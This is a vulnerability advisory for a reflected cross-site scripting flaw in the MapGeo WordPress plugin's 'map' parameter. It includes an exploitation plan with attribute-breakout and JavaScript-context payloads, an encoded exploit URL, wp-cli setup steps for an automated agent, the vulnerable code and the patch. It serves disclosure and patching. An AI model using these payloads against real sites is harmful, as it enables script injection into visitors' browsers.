MapGeo - Interactive Geo Maps <= 1.6.27 - Reflected Cross-Site Scripting via 'map' Parameter
Description
The MapGeo – Interactive Geo Maps plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'map' parameter in the display-map shortcode in all versions up to, and including, 1.6.27 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=1.6.27What Changed in the Fix
Changes introduced in v1.6.28
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2025-15345**, a reflected Cross-Site Scripting (XSS) vulnerability in the **MapGeo - Interactive Geo Maps** plugin for WordPress. ### 1. Vulnerability Summary * **Vulnerability:** Reflected Cross-Site Scripting (XSS) * **Location:** `src/Plugin/Map.…
Show full research plan
This exploitation research plan targets CVE-2025-15345, a reflected Cross-Site Scripting (XSS) vulnerability in the MapGeo - Interactive Geo Maps plugin for WordPress.
1. Vulnerability Summary
- Vulnerability: Reflected Cross-Site Scripting (XSS)
- Location:
src/Plugin/Map.php, within thesetup()method. - Cause: The plugin allows the
mapparameter from the URL ($_GET['map']) to override the map configuration if thedisplay-mapshortcode includes ademoattribute. While the input is passed throughsanitize_text_field(), this function only removes HTML tags and does not escape quotes. If the resulting value is reflected into an HTML attribute or a JavaScript context without proper output escaping (e.g.,esc_attr()orwp_json_encode()), an attacker can break out and execute arbitrary scripts.
2. Attack Vector Analysis
- Endpoint: Any public post or page containing the
[display-map]shortcode with thedemoattribute enabled. - Vulnerable Parameter:
map(GET parameter). - Authentication: Unauthenticated.
- Precondition: A page must exist with a shortcode like
[display-map id="123" demo="true"]. Theidmust refer to a valid Map (igmappost type).
3. Code Flow
- A user visits a page where the
[display-map]shortcode is rendered. - The shortcode callback instantiates the
Saltus\WP\Plugin\Saltus\InteractiveMaps\Plugin\Mapclass and callssetup( $atts ). - In
src/Plugin/Map.php:- Line 48: The
$idis extracted from$atts['id']. - Line 75: The code checks
if ( isset( $atts['demo'] ) && isset( $_GET['map'] ) ). - Line 76: If true,
$main_meta['map']is set tosanitize_text_field( $_GET['map'] ).
- Line 48: The
sanitize_text_field()removes<script>tags but leaves double quotes (") and event handlers (likeonmouseover) intact.- The
$main_meta(containing the maliciousmapvalue) is passed toprepare_meta(). - The value is eventually rendered into the page's HTML (likely as a
data-mapattribute or within a<script>block containing map configuration), where the lack of output escaping leads to XSS.
4. Nonce Acquisition Strategy
This is a Reflected XSS vulnerability. Since the payload is delivered via a GET parameter to a standard WordPress page rendering a shortcode, no nonce is required for exploitation.
5. Exploitation Strategy
The goal is to provide a payload that breaks out of an HTML attribute and executes JavaScript.
Payload Selection: Since
sanitize_text_fieldis used, we avoid tags. We use an attribute breakout.- Payload:
worldLow" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;" x=" - Mechanism: This closes the intended attribute, adds an
onmouseoverhandler, and stretches the element to cover the entire viewport to ensure the script triggers immediately on any mouse movement.
- Payload:
HTTP Request:
- Method:
GET - URL:
http://localhost:8080/{PAGE_PATH}/?map=worldLow%22+onmouseover%3D%22alert(document.domain)%22+style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3B%22+x%3D%22 - Headers: Standard browser headers.
- Method:
6. Test Data Setup
The automated agent must perform these steps via wp-cli:
Create a Map:
wp post create --post_type=igmap --post_title="Exploit Map" --post_status=publishExtract the resulting post ID (e.g.,
123).Create a Page with the Shortcode:
wp post create --post_type=page --post_title="Vulnerable Page" --post_status=publish --post_content='[display-map id="123" demo="true"]'Extract the resulting page URL/path (e.g.,
/vulnerable-page/).
7. Expected Results
- The HTTP response will contain the injected string:
worldLow" onmouseover="alert(document.domain)". - The payload will appear inside an HTML tag (likely a
<div>or<script>tag depending on the specific rendering path) without the quotes being escaped to". - When viewed in a browser, moving the mouse will trigger the alert.
8. Verification Steps
- Check Reflection: Use the
http_requesttool to fetch the page with the payload and grep for the unescaped breakout:const response = await http_request.get("http://localhost:8080/vulnerable-page/?map=worldLow%22+onmouseover%3D%22alert(1)%22"); if (response.body.includes('map="worldLow" onmouseover="alert(1)"')) { console.log("Vulnerability Confirmed: Payload reflected unescaped."); } - Confirm Lack of Escaping: Verify that the double quote before
onmouseoveris not converted to".
9. Alternative Approaches
If the map parameter is reflected inside a JavaScript block (e.g., in a JSON object) rather than an HTML attribute:
- Payload:
worldLow"-alert(document.domain)-" - Expected Reflection:
... "map":"worldLow"-alert(document.domain)-"" ... - This would execute the alert if the surrounding JavaScript is parsed by the browser.
Summary
The MapGeo plugin for WordPress is vulnerable to reflected Cross-Site Scripting (XSS) via the 'map' GET parameter. When a shortcode is configured with the 'demo' attribute, the plugin accepts an unvalidated map name from the URL, which is reflected into the page without proper attribute escaping, allowing attackers to execute arbitrary JavaScript.
Vulnerable Code
// src/Plugin/Map.php line 75 // in case we use this shortcode for demo purposes, the map that will render might ne in the URL if ( isset( $atts['demo'] ) && isset( $_GET['map'] ) ) { $main_meta['map'] = sanitize_text_field( $_GET['map'] ); }
Security Fix
@@ -73,7 +73,7 @@ } // in case we use this shortcode for demo purposes, the map that will render might ne in the URL if ( isset( $atts['demo'] ) && isset( $_GET['map'] ) ) { - $main_meta['map'] = sanitize_text_field( $_GET['map'] ); + $main_meta['map'] = preg_replace( '/[^a-zA-Z0-9_\/]/', '', $_GET['map'] ); } $meta = $this->prepare_meta( $main_meta, $id );
Exploit Outline
To exploit this vulnerability, an attacker identifies a page using the [display-map] shortcode with the 'demo' attribute set to true. The attacker then crafts a malicious URL targeting that page, appending a 'map' GET parameter containing a payload designed to break out of an HTML attribute (e.g., worldLow" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;" x="). Because the plugin uses sanitize_text_field() which preserves double quotes and does not perform sufficient output escaping, the payload is rendered into the HTML source as an active event handler. When a victim visits the link and moves their mouse over the map area, the injected script executes in their browser context. No authentication is required for this attack.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.